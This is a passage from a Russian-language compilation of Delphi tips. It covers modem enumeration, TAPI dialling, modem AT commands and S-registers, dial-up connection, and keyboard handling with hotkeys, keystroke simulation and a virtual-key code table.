  i: integer;
  j: integer;
begin

  Result := TStringList.Create;
  R := TRegistry.Create;
  try
    with R do
      begin
        RootKey := HKEY_LOCAL_MACHINE;
        if OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then
          if HasSubKeys then
            begin
              N := TStringList.Create;
              try
                GetKeyNames(N);
                for i := 0 to N.Count - 1 do
                  begin
                    closekey; { + }
                    openkey('\System\CurrentControlSet\Services\Class\Modem', false); { + }
                    OpenKey(N[i], False);
                    s := ReadString('AttachedTo');
                    for j := 1 to 4 do
                      if Pos(Chr(j + Ord('0')), s) > 0 then
                        Break;
                    Result.AddObject(ReadString('DriverDesc'), TObject(j));
                    CloseKey;
                  end;
              finally
                N.Free;
              end;
            end;
      end;
  finally
    R.Free;
  end;
end;

end.

Взято с сайта http://blackman.wp-club.net/


Using Tapi

How can I use TAPI to dial the telephone for a voice call?

The following example shows how to interface with tapi to make a
voice call.

{tapi Errors}
 const TAPIERR_CONNECTED          = 0;
 const TAPIERR_DROPPED            = -1;
 const TAPIERR_NOREQUESTRECIPIENT = -2;
 const TAPIERR_REQUESTQUEUEFULL   = -3;
 const TAPIERR_INVALDESTADDRESS   = -4;
 const TAPIERR_INVALWINDOWHANDLE  = -5;
 const TAPIERR_INVALDEVICECLASS   = -6;
 const TAPIERR_INVALDEVICEID      = -7;
 const TAPIERR_DEVICECLASSUNAVAIL = -8;
 const TAPIERR_DEVICEIDUNAVAIL    = -9;
 const TAPIERR_DEVICEINUSE        = -10;
 const TAPIERR_DESTBUSY           = -11;
 const TAPIERR_DESTNOANSWER       = -12;
 const TAPIERR_DESTUNAVAIL        = -13;
 const TAPIERR_UNKNOWNWINHANDLE   = -14;
 const TAPIERR_UNKNOWNREQUESTID   = -15;
 const TAPIERR_REQUESTFAILED      = -16;
 const TAPIERR_REQUESTCANCELLED   = -17;
 const TAPIERR_INVALPOINTER       = -18;

{tapi size constants}
 const TAPIMAXDESTADDRESSSIZE      = 80;
 const TAPIMAXAPPNAMESIZE          = 40;
 const TAPIMAXCALLEDPARTYSIZE      = 40;
 const TAPIMAXCOMMENTSIZE          = 80;
 const TAPIMAXDEVICECLASSSIZE      = 40;
 const TAPIMAXDEVICEIDSIZE         = 40;

function tapiRequestMakeCallA(DestAddress : PAnsiChar;
                              AppName : PAnsiChar;
                              CalledParty : PAnsiChar;
                              Comment : PAnsiChar) : LongInt;
  stdcall; external 'TAPI32.DLL';

function tapiRequestMakeCallW(DestAddress : PWideChar;
                              AppName : PWideChar;
                              CalledParty : PWideChar;
                              Comment : PWideChar) : LongInt;
  stdcall; external 'TAPI32.DLL';

function tapiRequestMakeCall(DestAddress : PChar;
                             AppName : PChar;
                             CalledParty : PChar;
                             Comment : PChar) : LongInt;
  stdcall; external 'TAPI32.DLL';

procedure TForm1.Button1Click(Sender: TObject);
var
  DestAddress : string;
  CalledParty : string;
  Comment : string;
begin
  DestAddress := '1-555-555-1212';
  CalledParty := 'Frank Borland';
  Comment := 'Calling Frank';
  tapiRequestMakeCall(pChar(DestAddress),
                      PChar(Application.Title),
                      pChar(CalledParty),
                      PChar(Comment));

end;

end.


АТ команды модема

A Команда ответа (Answer Command)
Bn Настройка связи (Communications Options)
D Команда набора (Dial Command)
En Команда выбора символа эха (Select Command Character Echo Option)
Hn Управление Switchhook - эмуляция нажатия телефонного рычага (Control The Switchhook)
I0 Идентификация кода продукта (Identify The Product Code)
I2 Выполнение теста контрольной суммы ROM ( Perform ROM Checksum Test)
I7 Номер версии (Version Number)
Ln Выбор уровня громкости динамика (Select Speaker Volume Level)
Mn Функция выбора опций динамика (Select Speaker Function Option)
Nn Выбор опций для установления связи (Select Negotiate Handshake Option)
On Переход к онлайновым командам (Go Online Command)
P Выбор метода пульсового набора (Select Pulse Dialing Method)
Qn Выбор опции результирующего кода (Select Result Code Option)
Sn= Запись в S-регистр (Write To An S-Register)
Sn? Чтение S-регистра (Read An S-Register)
T Выбор метода тонового набора (Select Tone Dialing Method)
Vn Выбор опции формата ответа (Select Response Format Option)
Wn Выбор расширенного результирующего кода (Select Extended Result Code)
Xn Выбор опции модемного вызова (Select Call Progress Option)
Yn Выбор опции бездействия для разъединения (Select Long Space Disconnect Option)
Zn Выполнение мягкого сброса (Perform Soft Reset)
&An Выбор роли автоответчика (Select Originate/Answer Role For Autoanswer)
&Cn Выбор опции определения передаваемых данных (Select Data Carrier Detect Option)
&Dn Выбор опции готовности терминала данных (Select Data Terminal Ready Option)
&F Загрузка заводских установок (Load Factory Default Profile)
&Gn Выбор опции защиты тонового набора (Select Guard Tone Option)
&Kn Выбор опций потока ConTDol (Select Flow ConTDol Option)
&Pn Выбор параметров пульсового набора (Select Pulse Dialing Parameters)
&Qn Выбор опций режима связи (Select Communications Mode Option)
&Rn Выбор опций RTS/CTS (Select RTS/CTS Option)
&Sn Выбор опций готовности передачи данных (Select Data Set Ready Option)
&T0 Тест завершения в процессе (Terminate Test In Process)
&T1 Инициирование локального аналога сетевой петли (Initiate Local Analog Loopback)
&T3 Выполнение локальной цифровой сетевой петли (Perform Local Digital Loopback)
&T4 Включение предоставления RDL-запросов (Enable Granting Of RDL Requests)
&T5 Запрет предоставления RDL-запросов (Deny Granting Of RDL Requests)
&T6 Инициирование удаленной цифровой сетевой петли (Initiate Remote Digital Loopback)
&T7 Иниицирование внутреннего теста RDL (Initiate RDL With Self Test)
&T8 Внутренний тест локальной сетевой петли (Local Loopback With Self Test)
&T19 Выполнение теста RTS/CTS кабеля (Perform RTS/CTS Cable Test)
&Un Отмена TDellis кодирования (Disable TDellis Coding)
&V Просмотр профилей конфигурации (View Configuration Profiles)
&Wn Сохранение активного профиля (Store Active Profile)
&Xn Выбор источника синхронизации времени TDansmit (Store Active Profile)
&Yn Выбор сохранения профиля для аппаратного перезапуска (Select Stored Profile For Hard Reset)
&Zn= Сохранение телефонного номера (Store Telephone Number)
, Пауза (Perform Pause)
= Запись в S-регистр (Write To An S-Register)
? Чтение S-регистра (Read An S-Register)
P Выбор пульсового набора (Select Pulse Dialing)
Т Тоновый набор (Tone)
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


S-регистры модема

S0 Звонок, на который необходимо ответить (Ring After Which To Answer)
S1 Количество звонков (Ring Count)
S2 Символ отмены (Hayes Escape Character)
S3 Символ перевода строки (Carriage Return Character)
S4 Символ пропуска строки (Line Feed Character)
S5 Символ пробела (Backspace Character)
S6 Ожидание перед вызывом (Wait Before Blind Dialing)
S7 Ожидание ответа (Wait For Carrier)
S8 Время паузы для запятой (Pause Time For Comma)
S9 Время восстановления (Carrier Recovery Time)
S10 Время задержки для поднятия трубки после потери соединения (Lost Carrier Hang Up Delay)
S11 Время DTMF соединения (DTMF Dialing Speed)
S12 Время защиты отмены (Hayes Escape Guard Time)
S16 Выполнение теста (Test in Progress)
S18 Тест таймера модема (Modem Test Timer)
S19 Настройки автосинхронизации (AutoSync Options)
S25 Обнаружено изменение DTD (Detect DTD Change)
S26 Интервал задержки RTS для CTS (RTS To CTS Delay Interval)
S30 Неактивное время ожидания (Inactivity Timeout)
S31 Символ XON (XON Character)
S32 Символ XOFF (XON Character)
S36 Ошибка согласования TDeatment (Negotiation Failure TDeatment)
S37 Ускорение DCE линии (Desired DCE Line Speed)
S38 Время ожидания снятия трубки (Hang-up Timeout)
S43 Текущая скорость линии (Current Line Speed)
S44 Техническая конструкция (Framing Technique)
S46 Выбор протокола/компрессии (Protocol/Compression Selection)
S48 Действие характеристики согласования (Feature Negotiation Action)
S49 Низкий предел буфера (Buffer Low Limit)
S50 Высокий предел буфера (Buffer High Limit)
S70 Максимальное число ReTDansmissions (Maximum Number of ReTDansmissions)
S73 Неактивное время ожидания (No Activity Timeout)
S82 Выбор прерывания (Break Selection)
S86 Код причины неудачной связи (Connection Failure Cause Code)
S91 Выбор уровня TDansmit коммутируемой линии (Select Dial-up Line TDansmit Level)
S95 Расширенный результат кода битовой карты (Extended Result Code Bit Map)
S97 Позднее время соединения - снятия трубки (V.32 Late Connecting Handshake Timing)
S105 Размер кадра (Frame Size)
S108 Селектор качества сигнала (Signal Quality Selector)
S109 Селектор скорости соединения (Carrier Speed Selector)
S110 Селектор V.32/V.32 bis (V.32/V.32 bis Selector)
S113 Тональный вызов ConTDol (Calling Tone ConTDol)
S121 Использование DTD (Use of DTD)
S141 Таймер фазы обнаружения (Detection Phase Timer)
S142 Онлайновый формат символов (Online Character Format)
S144 Выбор скорости автобода (Autobaud Speed Group Selection)
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Набор dialup соединения по умолчанию

Для w9x, me:

procedure TForm1.Button1Click(Sender: TObject);
var cmd, par, fil, dir: PChar;
begin
  Cmd := 'open';
  Fil := 'rasdial.exe';
  Par := PChar(edtEntry.Text + ' ' + EdtUser.Text + ' ' + EdtPass.Text);
  Dir := 'C:';
  ShellExecute(Handle, Cmd, Fil, Par, Dir, SW_SHOWMINNOACTIVE);
end;

procedure TForm1.Button2Click(Sender: TObject);
var Cmd, Par, Fil, Dir: PChar;
begin
  Cmd := 'open';
  Fil := 'rasdial.exe';
  Par := PChar(EdtEntry.Text + ' /DISCONNECT');
  Dir := 'C:';
  ShellExecute(Handle, Cmd, Fil, Par, Dir, SW_SHOWMINNOACTIVE);
end;

uses Registry, Windows;

function DUNDialDefault(Hide: Boolean): Boolean;
var Reg: TRegistry;
  TempResult: Boolean;
  Name, Con: string;
  ASW: Integer;
begin
  with TRegistry.Create do
  try
    RootKey := HKEY_CURRENT_USER;
    if OpenKey('\RemoteAccess', False) then
      begin
        TempResult := True;
        Name := ReadString('Default');
      end
    else
      TempResult := False;
  finally
    Free;
  end;
  if TempResult then
    begin
      if Hide then
        ASW := SW_HIDE
      else
        ASW := SW_SHOWDEFAULT;
      Con := 'rnaui.dll,RnaDial ' + Name;
      ShellExecute(0, nil, 'rundll32.exe', PChar(Con), 'C:\windows\', ASW);
    end; {IF}
  Result := TempResult;
end;

Для Nt, w2k, XP:

Uses ..., WinInet;

InternetAutoDial (INTERNET_AUTODIAL_FORCE_ONLINE, Handle);
Handle - окно, из которого вызывается функция.

Автор: Song

Взято из http://forum.sources.ru


Мышка/клавиатура

Cодержание раздела:

Клавиатура
· Как отличить нажат правый или левый SHIFT?
· Как перехватить нажатие TAB?
· Как послать нажатие клавиши в какое-нибудь окно?
· Как назначить горячие клавиши?
· Как програмно имитировать нажатие Ctrl-Esc?
· Как определить, нажата ли в данный момент клавиша Shift, Ctrl или Alt?
· Регистрируем горячие клавиши
· Как определить, нажал ли пользователь клавишу PrintScreen?
· Как конвертировать виртуальную клавишу в ASCII код?
· Как узнать состояние клавиши CAPS LOCK?
· Симфония на клавиатуре(статья)
· Программно нажимаем Print Screen
· Как заставить кнопку Enter работать наподобие Tab?
· Как програмно переключить раскладку клавиатуры?
· Как запретить Ctrl-Alt-Del?
· Как скрыть программу от Alt - Tab
· Как отловить правый Enter (NumPad)?
· Как заставить дополнительную клавиатуру всегда работать в режиме цифр?
· Как отловить изменение раскладки клавиатуры?
· Как перехватить нажатия функциональных клавиш и стрелок?
· Как програмно переключить состояние клавиш Num Lock, Caps Lock, Scroll Lock?
· Левый SHIFT+ENTER/Правый SHIFT+ENTER
· Получение типа клавиатуры
· Как очистить буффер клавиатуры?
· Состояние кнопки insert
· Выставляем горячие клавиши для Delphi приложения
· Если нажато более 2х клавиш одновременно... New!
· Как отловить нажатия клавиш для всех процессов в системе New!

Мышка
· Как послать нажатие кнопки мыши в окно?
· Как определить координаты курсора мыши?
· Как имитировать нажатие левой кнопки мыши?
· Как узнать, присутствует ли мышка?
· Как использовать mouse_event() для эмулирования событий мышки?
· Как поменять функции кнопок мышки?
· Как ограничить движения мышки определённой областью?
· Как узнать, находится ли мышка на форме?
· Как программно двигать курсор мышки?
· Как автоматически помещать курсор мышки в центр контрола получившего фокус?
· Перемещение контролов мышкой во время выполнения приложения?
· Как заставить появиться окошко подсказки когда курсор мышки находится над определённым контролом?
· Как отследить выход мыши за пределы формы?
· Как узнать есть ли у мыши колесико?

Hook на клавиатуру и мышку
Програмное выключение клавиатуры и мыши Updated!


Клавиатура

Cодержание раздела:

Как отличить нажат правый или левый SHIFT?
Как перехватить нажатие TAB?
Как послать нажатие клавиши в какое-нибудь окно?
Как назначить горячие клавиши?
Как програмно имитировать нажатие Ctrl-Esc?
Как определить, нажата ли в данный момент клавиша Shift, Ctrl или Alt?
Регистрируем горячие клавиши
Как определить, нажал ли пользователь клавишу PrintScreen?
Как конвертировать виртуальную клавишу в ASCII код?
Как узнать состояние клавиши CAPS LOCK?
Симфония на клавиатуре(статья)
Программно нажимаем Print Screen
Как заставить кнопку Enter работать наподобие Tab?
Как програмно переключить раскладку клавиатуры?
Как запретить Ctrl-Alt-Del?
Как скрыть программу от Alt - Tab
Как отловить правый Enter (NumPad)?
Как заставить дополнительную клавиатуру всегда работать в режиме цифр?
Как отловить изменение раскладки клавиатуры?
Как перехватить нажатия функциональных клавиш и стрелок?
Как програмно переключить состояние клавиш Num Lock, Caps Lock, Scroll Lock? Updated!
Левый SHIFT+ENTER/Правый SHIFT+ENTER
Получение типа клавиатуры
Как очистить буффер клавиатуры?
Состояние кнопки insert
Выставляем горячие клавиши для Delphi приложения
Если нажато более 2х клавиш одновременно... New!
Как отловить нажатия клавиш для всех процессов в системе New!
ASCII код для PrintScreen New!

См. также другие разделы:
Реакция компонентов на клавиатуру

См. также статьи в других разделах:
Does Delphi have an equivalent to the Visual Basic SendKeys function?
Как сделать, чтобы форма закрывалась при нажатии Esc?
Как заставить TEdit не пикать при нажатии недопустимых клавиш?
Как перехватить клавишу табуляции (Tab) в TEdit?
Как перехватить Ctrl-V в компоненте TMemo?
Как менять шрифт в RichEdit горячими клавишами?
Как перехватывать горячие клавиши в StringGrid?
Как использовать клавишу-акселератор в TTabsheets?
Кнопка или пункт меню выполняет другую функцию при нажатой кнопке shift
Как узнать о нажатии non-menu клавиши в момент когда меню показано?
Поведение TAB в компоненте RadioGroup
Посылаем нажатия клавиш другому приложению
Как эмулировать нажатия клавиш в другой программе?
Использование ловушек, блокировка мышки, клавиатуры и т.д.
Использование Enter как Tab в TDBGrid New!


Как отличить нажат правый или левый SHIFT?

if ((Word(GetKeyState(VK_LSHIFT)) and $8000) <> 0) then
  begin
  end;

if ((Word(GetKeyState(VK_RSHIFT)) and $8000) <> 0) then
  begin
  end;

работает под Win NT/2000, но не работает под Win95.

Автор ответа: CHERRY
Взято с Vingrad.ru http://forum.vingrad.ru

В 95 катит следующее:

RSHIFT = 36h
LSHIFT = 2Ah
asm
in al, 60h
cmp al, 36h
jne @@exit
mov tt,1
@@exit:
end;
if tt = 1 then ShowMessage ('Right Shift');

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Как перехватить нажатие TAB?

private
Procedure CMDialogKey(Var Msg: TWMKey); message CM_DIALOGKEY;
.....
procedure TForm1.CMDialogKey(var Msg: TWMKey);
begin
//здесь Ваш код
Msg.Result := 0
end;

Автор: Vit
www.delphist.comwww.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как послать нажатие клавиши в какое-нибудь окно?

Эта процедура посылает сообщение о нажатии клавиши.

procedure PostKeyEx32(key: Word; const shift: TShiftState; specialkey: Boolean);
type TShiftKeyInfo = record
    shift: Byte;
    vkey: Byte;
  end;
  byteset = set of 0..7;
const shiftkeys: array[1..3] of TShiftKeyInfo = ((shift: Ord(ssCtrl);
    vkey: VK_CONTROL), (shift: Ord(ssShift); vkey: VK_SHIFT), (shift: Ord(ssAlt); vkey: VK_MENU));

var flag: DWORD;
  bShift: ByteSet absolute shift;
  i: Integer;
begin
  for i := 1 to 3 do
    if shiftkeys[i].shift in bShift then keybd_event(shiftkeys[i].vkey, MapVirtualKey(shiftkeys[i].vkey, 0), 0, 0);
  if specialkey then
    flag := KEYEVENTF_EXTENDEDKEY
  else
    flag := 0;
  keybd_event(key, MapvirtualKey(key, 0), flag, 0);
  flag := flag or KEYEVENTF_KEYUP;
  keybd_event(key, MapvirtualKey(key, 0), flag, 0);
  for i := 3 downto 1 do
    if shiftkeys[i].shift in bShift then keybd_event(shiftkeys[i].vkey, MapVirtualKey(shiftkeys[i].vkey, 0), KEYEVENTF_KEYUP, 0);
end;

Чтобы воспользоваться этой процедурой надо предварительно найти и активизировать нужное окно:

SetForegroundWindow(FindWindow(PChar(WindowClassName), PChar(WindowCaption)));

PS. не забудьте поставить задержки типа Sleep(100) после активизации окна и между посылаемыми клавишами, не то окно может не успевать реагировать на клавиши...

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как назначить горячие клавиши?

Вот код о том как назначить горячие клавиши если даже активна другая программа. Код взят из рассылки "Мастера DELPHI. Новости мира компонент, FAQ, статьи..."

type
TForm1 = class(TForm)
  procedure FormCreate(Sender: TObject);
  procedure FormDestroy(Sender: TObject);
protected
  procedure hotykey(var msg:TMessage); message WM_HOTKEY;
end;

var
  Form1: TForm1;
  id,id2:Integer;

implementation

{$R *.DFM}

procedure TForm1.hotykey(var msg:TMessage);
begin
if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=81) then
begin
ShowMessage('Ctrl + Q wurde gedrьckt !');
end;
if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=82) then
begin
ShowMessage('Ctrl + R wurde gedrьckt !');
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
id:=GlobalAddAtom('hotkey');
RegisterHotKey(handle,id,mod_control,81);
id2:=GlobalAddAtom('hotkey2');
RegisterHotKey(handle,id2,mod_control,82);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(handle,id);
UnRegisterHotKey(handle,id2);
end;

Взято с Vingrad.ru http://forum.vingrad.ru


Как програмно имитировать нажатие Ctrl-Esc?

SendMessage(Handle,WM_SYSCOMMAND,SC_TASKLIST,0);

Автор ответа: TwoK
Взято с Vingrad.ru http://forum.vingrad.ru


Как определить, нажата ли в данный момент клавиша Shift, Ctrl или Alt?

Следующий пример демонстрирует проверку состояния клавиши Shift (нажата она или нет), в то время когда выделен пункт меню. А так же в примере содержатся функции, позволяющие определить состояние клавишь Alt, Ctrl, и shift:

function CtrlDown : Boolean;
var
  State : TKeyboardState;
begin
  GetKeyboardState(State);
  Result := ((State[vk_Control] And 128) <> 0);
end;

function ShiftDown : Boolean;
var
  State : TKeyboardState;
begin
  GetKeyboardState(State);
  Result := ((State[vk_Shift] and 128) <> 0);
end;

function AltDown : Boolean;
var
  State : TKeyboardState;
begin
  GetKeyboardState(State);
  Result := ((State[vk_Menu] and 128) <> 0);
end;

procedure TForm1.MenuItem12Click(Sender: TObject);
begin
  if ShiftDown then
    Form1.Caption := 'Shift' else
    Form1.Caption := '';
end;

Взято из http://forum.sources.ru


Регистрируем горячие клавиши

Пример демонстрирует установку горячей клавиши CTRL-F7:

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls;

type
  TForm1 = class(TForm)
    procedure FormActivate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    procedure WMHotKey(var Message: TMessage); message WM_HOTKEY;
  end;

var
  Form1: TForm1;
implementation

{$R *.DFM}
procedure Tform1.WMHotKey(var Message: TMessage);
begin
  application.Restore;
  application.bringtofront;
  showmessage('Нажата CTRL-F7!');
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
  RegisterHotKey(form1.Handle,123,mod_control,vk_f7);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnregisterHotKey(Handle, 123)
end;

end.

Взято из http://forum.sources.ru


Как определить, нажал ли пользователь клавишу PrintScreen?

В событиях, обрабатывающих нажатия клавишь в TForm, клавиша PrintScreen не обрабатывается. Однако проблему можно решить при помощи 'GetAsyncKeyState'. Функция GetAsyncKeyState определяет, когда клавиша была нажата или отпущена каждый раз, когда функция вызвана, а так же, когда клавиша была нажата после предыдущего вызова GetAsyncKeyState.

Событие OnIdle в TApplication как раз подходит для вызова этой API функции:

procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnIdle := AppIdle;
end;

procedure TForm1.AppIdle(Sender: TObject; var Done: Boolean);
begin
if GetAsyncKeyState(VK_SNAPSHOT) <> 0 then
Form1.Caption := 'PrintScreen нажата !';
Done := True;
end;

Взято из http://forum.sources.ru

The PrintScreen system key is not processed during the TForm
keydown event. The following example tests if the PrintScreen key has
been pressed by calling the Windows API function GetAsyncKeyState()
during the Application.OnIdle event.

Example:

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    procedure AppIdle(Sender: TObject; var Done: Boolean);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnIdle := AppIdle;
end;

procedure TForm1.AppIdle(Sender: TObject; var Done: Boolean);
begin
  if GetAsyncKeyState(VK_SNAPSHOT)  0 then
    Form1.Caption := 'SnapShot';
  Done := True;
end;


Как конвертировать виртуальную клавишу в ASCII код?

Получаем символ, соответствующий виртуальной клавише:

function GetCharFromVKey(vkey: Word): string;
var
  keystate: TKeyboardState;
  retcode: Integer;
begin
  Win32Check(GetKeyboardState(keystate));
  SetLength(Result, 2);
  retcode := ToAscii(vkey,
    MapVirtualKey(vkey, 0),
    keystate, @Result[1],
    0);
  case retcode of
    0: Result := '';
    1: SetLength(Result, 1);
    2: ;
    else
      Result := '';
  end;
end;

{
Использование:
procedure TForm1.Edit1KeyDown
  (Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  ShowMessage(GetCharFromVKey(Key));
end;
}

Взято из http://forum.sources.ru


Как узнать состояние клавиши CAPS LOCK?

function IsCapsLockOn : Boolean;
begin
  Result := 0 <> (GetKeyState(VK_CAPITAL) and $01);
end;

Взято из http://forum.sources.ru


Симфония на клавиатуре(статья)

Перевод одноимённой статьи с сайта delphi.about.com )
Начиная с самого рассвета компьютерной промышленности, клавиатура была первичным устройством ввода информации, и вероятнее всего сохранит свою позицию ещё долгое время.
События клавиатуры, наряду с событиями мыши, являются основными элементами взаимодействия пользователя с программой. В данной статье пойдёт речь о трёх событиях, которые позволяют отлавливать нажатия клавиш в приложении Delphi: OnKeyDown, OnKeyUp и OnKeyPress.
Для получения ввода с клавиатуры, приложения Delphi могут использовать два метода. Самый простой способ, это воспользоваться одним из компонентов, автоматически реагирущем на нажатия клавиш, таким как Edit. Второй способ заключается в создании процедур в форме, которые будут обрабатывать нажатия и отпускания клавиш. Эти обработчики могут обрабатывать как нажатия одиночных клавиш, так и комбинаций. Итак, вот эти события:
OnKeyDown - вызывается, когда на клавиатуре нажимается любая клавиша. OnKeyUp - вызывается, когда любая клавиша на клавиатуре отпускается. OnKeyPress - вызывается, когда нажимается клавиша, отвечающая за определённый ASCII символ.
Теперь самое время посмотреть, как выглядят в программе заголовки обработчиков:

procedure TForm1.FormKeyDown
(Sender: TObject; var Key: Word; Shift: TShiftState);
...
procedure TForm1.FormKeyUp
(Sender: TObject; var Key: Word; Shift: TShiftState);
...
procedure TForm1.FormKeyPress
(Sender: TObject; var Key: Char);

Все события имеют один общий параметр, обычно называемый Key. Этот параметр используется для передачи кода нажатой клавиши. Параметр Shift (в процедурах OnKeyDown и OnKeyUp), указывает на то, была ли нажата клавиша в сочетании с Shift, Alt, и Ctrl.
Фокус
Фокус, это способность получать пользовательский ввод через мышь или клавиатуру. Получать события от клавиатуры могут только те объекты, которые имеют фокус. На форме активного приложения в один момент времени может быть активным (иметь фокус) только один компонент.
Некоторые компоненты, такие как TImage, TPaintBox, TPanel и TLabel не могут получать фокус, другими словами, это компоненты, наследованные от TGraphicControl. Так же не могут получать фокус невидимые компоненты, такие как TTimer.
OnKeyDown, OnKeyUp
События OnKeyDown и OnKeyUp обеспечивают самый низкий уровень ответа клавиатуры. Обработчики OnKeyDown и OnKeyUp могут реагировать на все клавиши клавиатуры, включая функциональные и комбинации с клавишами Shift, Alt, и Ctrl.
События клавиатуры - не взаимоисключающие. Когда пользователь нажимает клавишу, то генерируются два события OnKeyDown и OnKeyPress, а когда отпускает, то только одно: OnKeyUp. Если пользователь нажмёт одну из клавиш, которую OnKeyPress не сможет определить, то будет сгенерировано только одно событие OnKeyDown, а при отпускании OnKeyUp.
OnKeyPress
OnKeyPress возвращает различные значения ASCII для 'g' и 'G,'. Однако, OnKeyDown и OnKeyUp не делают различия между верхним и нижним регистром.
Параметры Key и Shift
Параметр Key можно изменять, чтобы приложение получило другой код нажатой клавиши. Таким образом можно ограничивать набор различных символов, которые пользователь может ввести с клавиатуры. Например разрешить вводить только цифры. Для этого добавьте в обработчик события OnKeyPress следующий код и установите KeyPreview в True (см. ниже).

if Key in ['a'..'z'] + ['A'..'Z'] then Key:=#0

Это выражение проверяет, содержит ли параметр Key символы нижнего регистра ('a'..'z') и символы верхнего регистра ('A'..'Z'). Если так, то в параметр заносится значение нуля, чтобы предотвратить ввод в компонент Edit (например).
В Windows определены специальные константы для каждой клавиши. Например, VK_RIGHT соответствует коду клавиши для правой стрелки.
Чтобы получить состояния специальных клавиш, таких как TAB или PageUp можно воспользоваться API функцией GetKeyState. Клавиши состояния могут находиться в трёх состояниях: отпущена, нажата, и включена. Если старший бит равен 1, то клавиша нажата, иначе отпущена. Для проверки этого бита можно воспользоваться API функцией HiWord. Если младший бит равен 1, то клавиша включена. Вот пример получения сосотояния специальной клавиши:

if HiWord(GetKeyState(vk_PageUp)) <> 0 then
  ShowMessage('PageUp - DOWN')
else
  ShowMessage('PageUp - UP');

В событиях OnKeyDown и OnKeyUp, Key является беззнаковым двухбайтовым (Word) значением, которое представляет виртуальную клавишу Windows. Для получания значения символа можно воспользоваться функцией Chr. В событии OnKeyPress параметр Key является значением Char, которое представляет символ ASCII.
События OnKeyDown и OnKeyUp имеют параметр Shift с типом TShiftState. В Delphi тип TShiftState определён как набор флагов, определяющих состояние Alt, Ctrl, и Shift при нажатии клавиши.
Например, следующий код (из обработчика OnKeyUp) соединяет строку 'Ctrl +' с нажатой клавишей и отображает результат в заголовке формы:

if ssCtrl in Shift then
  Form1.Caption:= 'Ctrl +' + Chr(Key);

Если нажать Ctrl + A, то будут сгенерированы следующие события:

KeyDown (Ctrl) // ssCtrl
KeyDown (Ctrl+A) //ssCtrl + 'A'
KeyPress (A)
KeyUp (Ctrl+A)

Переадресация событий клавиатуры в форму
Клавиатурный обработчик может работать на двух уровнях: на уровне компонентов и на уровне формы. Свойство формы KeyPreview определяет, будут ли клавиатурные события формы вызываться перед клавиатурными событиями компонентов, так как форма может получать все нажатия клавиш, предназначенные для компонента имеющего в данный момент фокус.
Чтобы перехватить нажатия клавиш на уровне формы, до того как они будут переданы компонентам на форме, необходимо установить свойство KeyPreview в True. После этого компонент как и раньше будет получать события, однако сперва они будут попадать в форму, чтобы дать возможность программе разрешить или запретить ввод различных символов.
Допустим, У Вас на форме есть несколько компонентов Edit и процедура Form.OnKeyPress выглядит следующим образом:

procedure TForm1.FormKeyPress
(Sender: TObject; var Key: Char);
begin
 if Key in ['0'..'9'] then Key := #0
end;

Если один из компонентов Edit имеет фокус и свойство KeyPreview установлено в False, то этот код не будет выполнен - другими словами, если пользователь нажмёт клавишу '5', то в компоненте Edit, имеющем фокус, появится символ "5".
Однако, если KeyPreview установлено в True, то событие формы OnKeyPress будет выполнено до того, как компонент Edit увидит нажатую клавишу. Поэтому, если пользователь нажмёт клавишу '5', то в Key будет подставлено нулевое значение, предотвращая тем самым попадание числовых символов в Edit.

ПРИЛОЖЕНИЕ: Таблица кодов виртуальных клавиш.

Symbolic constant name | Value (hexadecimal) | Keyboard (or mouse) equivalent
VK_LBUTTON | 01 | Left mouse button
VK_RBUTTON | 02 | Right mouse button
VK_CANCEL | 03 | Control-break processing
VK_MBUTTON | 04 | Middle mouse button (three-button mouse)
VK_BACK | 08 | BACKSPACE key
VK_TAB | 09 | TAB key
VK_CLEAR | 0C | CLEAR key
VK_RETURN | 0D | ENTER key
VK_SHIFT | 10 | SHIFT key
VK_CONTROL | 11 | CTRL key
VK_MENU | 12 | ALT key
VK_PAUSE | 13 | PAUSE key
VK_CAPITAL | 14 | CAPS LOCK key
VK_ESCAPE | 1B | ESC key
VK_SPACE | 20 | SPACEBAR
VK_PRIOR | 21 | PAGE UP key
VK_NEXT | 22 | PAGE DOWN key
VK_END | 23 | END key
VK_HOME | 24 | HOME key
VK_LEFT | 25 | LEFT ARROW key
VK_UP | 26 | UP ARROW key
VK_RIGHT | 27 | RIGHT ARROW key
VK_DOWN | 28 | DOWN ARROW key
VK_SELECT | 29 | SELECT key
VK_PRINT | 2A | PRINT key
VK_EXECUTE | 2B | EXECUTE key
VK_SNAPSHOT | 2C | PRINT SCREEN key
VK_INSERT | 2D | INS key
VK_DELETE | 2E | DEL key
VK_HELP | 2F | HELP key
 | 30 | 0 key
 | 31 | 1 key
 | 32 | 2 key
 | 33 | 3 key
 | 34 | 4 key
 | 35 | 5 key
 | 36 | 6 key
 | 37 | 7 key
 | 38 | 8 key
 | 39 | 9 key
 | 41 | A key
 | 42 | B key
 | 43 | C key
 | 44 | D key
 | 45 | E key
 | 46 | F key
 | 47 | G key
 | 48 | H key
 | 49 | I key
 | 4A | J key
 | 4B | K key
 | 4C | L key
 | 4D | M key
 | 4E | N key
 | 4F | O key
 | 50 | P key
 | 51 | Q key
 | 52 | R key
 | 53 | S key
 | 54 | T key
 | 55 | U key
 | 56 | V key
 | 57 | W key
 | 58 | X key
 | 59 | Y key
 | 5A | Z key
VK_NUMPAD0 | 60 | Numeric keypad 0 key
VK_NUMPAD1 | 61 | Numeric keypad 1 key
